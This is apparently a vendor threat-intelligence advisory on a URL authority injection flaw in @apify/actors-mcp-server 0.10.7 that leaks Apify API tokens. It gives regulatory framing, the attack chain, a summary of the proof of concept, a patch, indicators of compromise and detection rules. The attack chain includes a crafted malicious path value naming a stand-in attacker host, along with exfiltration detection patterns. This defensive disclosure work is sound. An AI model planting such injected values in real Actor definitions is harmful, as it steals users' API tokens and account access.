1. Executive summary
@apify/actors-mcp-server version 0.10.7 is vulnerable to URL authority injection via the webServerMcpPath field in Actor definitions fetched from the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can redirect the MCP client's outbound connection to an arbitrary host while the client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header, silently exfiltrating the Apify API token. CVSS Base Score: 8.1 (High). EMEA financial services running this MCP server version with a configured Apify token face credential theft granting full account access — including running Actors, accessing stored data, and incurring compute charges — requiring no special privileges or code execution on the victim side.
2. Regulatory framing
| Article | Trigger (the fact in this item) | Practical impact |
|---|---|---|
| DORA Art. 17: ICT-related incident management process | Silent exfiltration of Apify API token (a credential granting full account access) constitutes an ICT-related incident requiring detection, assessment, and response. | Firms using @apify/actors-mcp-server@0.10.7 must have processes to detect token exfiltration, contain it (rotate token), and remediate (patch or disable). |
| DORA Art. 18: classification of ICT-related incidents and cyber threats | Credential theft via authority injection is a cyber threat with potential for data access and financial impact (unauthorised compute charges). | Incident classification should account for credential compromise severity and potential data exposure via the Apify platform. |
| NIS2 Art. 21(2)(d): supply chain security measures | The vulnerability is in a third-party npm package (@apify/actors-mcp-server) consumed by the organisation; the attacker exploits a malicious Actor published on the Apify platform (supply chain). |
Organisations must assess risk of third-party MCP server packages and Actor definitions before integration. |
3. Technical analysis & attack chain
Vulnerability mechanism: getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://real-actor-id.apify.actor@attacker.example/mcp
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname (RFC 3986 / WHATWG URL standard).
Attack chain (confirmed steps)
- Attacker publishes a malicious Actor on the Apify platform with
webServerMcpPathset to@attacker.example/mcp(or any attacker-controlled host). - Victim running
@apify/actors-mcp-server@0.10.7is induced to invokecall-actor,fetch-actor-details, or any actor-mcp type tool against the malicious Actor. src/mcp/server.ts:811— MCPtools/callrequest parameters are read.src/mcp/server.ts:816—apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497— attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28— Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20—webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44—standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124—Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host via three transport types:- SSEClientTransport requestInit (line 94)
- SSE fetch callback (line 103)
- StreamableHTTPClientTransport requestInit (line 124)
Three independent trigger paths to connectMCPClient()
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 |
call-actor MCP tool |
src/utils/actor_details.ts:155 |
fetch-actor-details MCP tool |
src/mcp/server.ts:1047 |
actor-mcp type tool loading |
Token resolution sources (all leak-capable)
_meta.apifyToken(per-request MCP metadata)- Server options
process.env.APIFY_TOKEN
Impact of token theft: The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges.
PoC verification: The advisory includes a Docker-based PoC (vuln-001-poc) that runs fully air-gapped (--network none). The exploit:
- Generates a self-signed TLS certificate for
127.0.0.1(IP SAN required for Node.js TLS validation). - Installs
@apify/actors-mcp-server@0.10.7dependencies underpnpm@11.1.3. - Sets
NODE_EXTRA_CA_CERTS=/certs/cert.pemso Node.js trusts the self-signed CA. - Runs
exploit.mjs, which starts an HTTPS capture server on127.0.0.1:31337, constructswebServerMcpPath = @127.0.0.1:31337/mcp, callsgetActorMCPServerURL()producinghttps://apify~hello-world.apify.actor@127.0.0.1:31337/mcp, and callsconnectMCPClient()with a simulated victim tokenapify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output confirms the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Node.js URL parser primitive verified
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actor
Confidence caveat: All technical detail is single-sourced from the GitHub Advisory (GHSA-6gr2-qh89-hxwm). The PoC is self-contained and the data-flow chain is internally consistent, but no independent corroboration was available at time of writing. Verify before enforcement.
4. Mitigation & containment
P1 — Within 24h (containment)
- Rotate all Apify API tokens that have been used with
@apify/actors-mcp-server@0.10.7. Treat all tokens as potentially compromised if any Actor invocation against third-party Actors has occurred. - Block outbound traffic from hosts running
@apify/actors-mcp-serverto any host not matching*.apify.actororapi.apify.comat egress proxy/firewall level. This prevents token exfiltration even if the vulnerability is triggered. - Audit Actor invocations: Review logs for any
call-actor,fetch-actor-details, or actor-mcp type tool calls against Actors not on an approved list. Any invocation of an unknown Actor should be treated as a potential token exfiltration event.
P2 — Within 72h (remediation)
- Apply the recommended fix to
src/mcp/actors.tsif running from source:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}
- If running from npm: Pin or upgrade to the first patched version when released. Until then, run a fork with the patch applied or disable
@apify/actors-mcp-serverentirely. - Restrict Actor allowlist: Configure the MCP server to only invoke Actors from trusted publishers. Do not allow invocation of arbitrary user-published Actors.
P3 — Within 7 days (hardening)
- Implement egress allowlisting for all MCP server infrastructure: permit only
*.apify.actorandapi.apify.comat network level. - Add runtime validation: Deploy a wrapper or middleware that intercepts
connectMCPClient()calls and rejects any URL whose hostname does not match*.apify.actor. - Monitor Apify account for anomalous activity: Check for unauthorised Actor runs, unexpected dataset access, or unexplained compute charges.
5. Indicators of compromise
| Type | Value | Confidence | Source |
|---|---|---|---|
| token (PoC demo) | apify_api_VICTIM_SECRET_TOKEN_DEMO_12345 |
High (PoC artefact only — not a real IOC) | GHSA-6gr2-qh89-hxwm |
| url pattern | https://*.apify.actor@* |
High (authority-injection URL pattern) | GHSA-6gr2-qh89-hxwm |
| port (PoC capture server) | 127.0.0.1:31337 |
Medium (PoC-specific; real attacks use attacker-controlled hosts) | GHSA-6gr2-qh89-hxwm |
| webServerMcpPath pattern | @<attacker-host>/mcp |
High (malicious Actor definition pattern) | GHSA-6gr2-qh89-hxwm |
token apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
url_pattern https://*.apify.actor@*
port 127.0.0.1:31337
webServerMcpPath_pattern @<attacker-host>/mcp
Note: The token value above is a PoC demo token, not a real compromised credential. The URL pattern and webServerMcpPath pattern are the operationally useful detection indicators.
6. Detection
rule Apify_MCP_Token_Exfil_Authority_Injection {
meta:
author = "Adverse Trace"
date = "2026-07-02"
reference = "https://github.com/advisories/GHSA-6gr2-qh89-hxwm"
description = "Detects Apify MCP server authority injection artefacts — webServerMcpPath with @ authority injection and token exfiltration patterns"
strings:
$webservermcpath_at = "webServerMcpPath" ascii
$auth_bearer_apify = "Bearer apify_api_" ascii
$apify_actor_host = "apify.actor@" ascii
$getactormcpserverurl = "getActorMCPServerURL" ascii
$connectmcpclient = "connectMCPClient" ascii
$actors_ts_concat = "standbyUrl}${mcpServerPath}" ascii
$poc_token = "apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" ascii
$capture_port = "127.0.0.1:31337" ascii
condition:
3 of them
}
title: Detect Apify MCP Server Authority Injection Token Exfiltration
id: 6a8e2f1c-3b4d-4e9a-8f1c-2a3b4c5d6e7f
status: experimental
description: Detects outbound connections from @apify/actors-mcp-server to non-apify.actor hosts carrying Authorization Bearer headers, indicating authority injection token exfiltration
references:
- https://github.com/advisories/GHSA-6gr2-qh89-hxwm
author: Adverse Trace
date: 2026/07/02
logsource:
product: network
service: proxy/firewall/ids
detection:
selection_outbound:
destination.domain|contains:
- "apify.actor"
filter_legitimate:
destination.domain|endswith:
- ".apify.actor"
selection_auth_header:
http.request.header.authorization|startswith:
- "Bearer apify_api_"
condition: selection_auth_header and not filter_legitimate
falsepositives:
- Legitimate Apify API calls to api.apify.com (ensure allowlist covers this)
- Internal testing with self-signed certificates
level: high
title: Detect Malicious Actor with webServerMcpPath Authority Injection
id: 7b9f3e2d-4c5e-4f0b-9e2d-3b4c5d6e7f8a
status: experimental
description: Detects MCP tool calls referencing Actors with webServerMcpPath containing @ character (authority injection pattern)
references:
- https://github.com/advisories/GHSA-6gr2-qh89-hxwm
author: Adverse Trace
date: 2026/07/02
logsource:
product: application
service: apify-actors-mcp-server
detection:
selection_tool_call:
event.action:
- "call-actor"
- "fetch-actor-details"
selection_malicious_path:
mcp.actor.webServerMcpPath|contains:
- "@"
condition: selection_tool_call and selection_malicious_path
falsepositives:
- None expected — legitimate webServerMcpPath values should be relative paths starting with /
level: critical
7. Sources
- GitHub Advisory Database — "Actor MCP path authority injection leaks Apify token" (GHSA-6gr2-qh89-hxwm) — https://github.com/advisories/GHSA-6gr2-qh89-hxwm — Published 2026-07-01
8. Adverse Trace position
Severity: High (CVSS 8.1). This is a credential exfiltration vulnerability requiring no privileges or code execution on the victim side — only that the victim invokes a tool against an attacker-controlled Actor. For EMEA financial services using @apify/actors-mcp-server@0.10.7 with a configured Apify token, the risk is direct: full Apify account compromise including data access and unauthorised compute charges. The attack surface is broad because any user-published Actor on the Apify platform can carry a malicious webServerMcpPath. No CISA-KEV entry was resolved for this item. Attribution is N/A (vulnerability advisory, no threat actor). All technical detail is single-sourced from GHSA-6gr2-qh89-hxwm — verify before enforcement. We will monitor for a patched version release and update this advisory when one is published. Clients running this package should rotate Apify tokens immediately and apply the source-level patch or disable the server until a patched package is available.
Published via PulseTrace — Adverse Trace threat intelligence.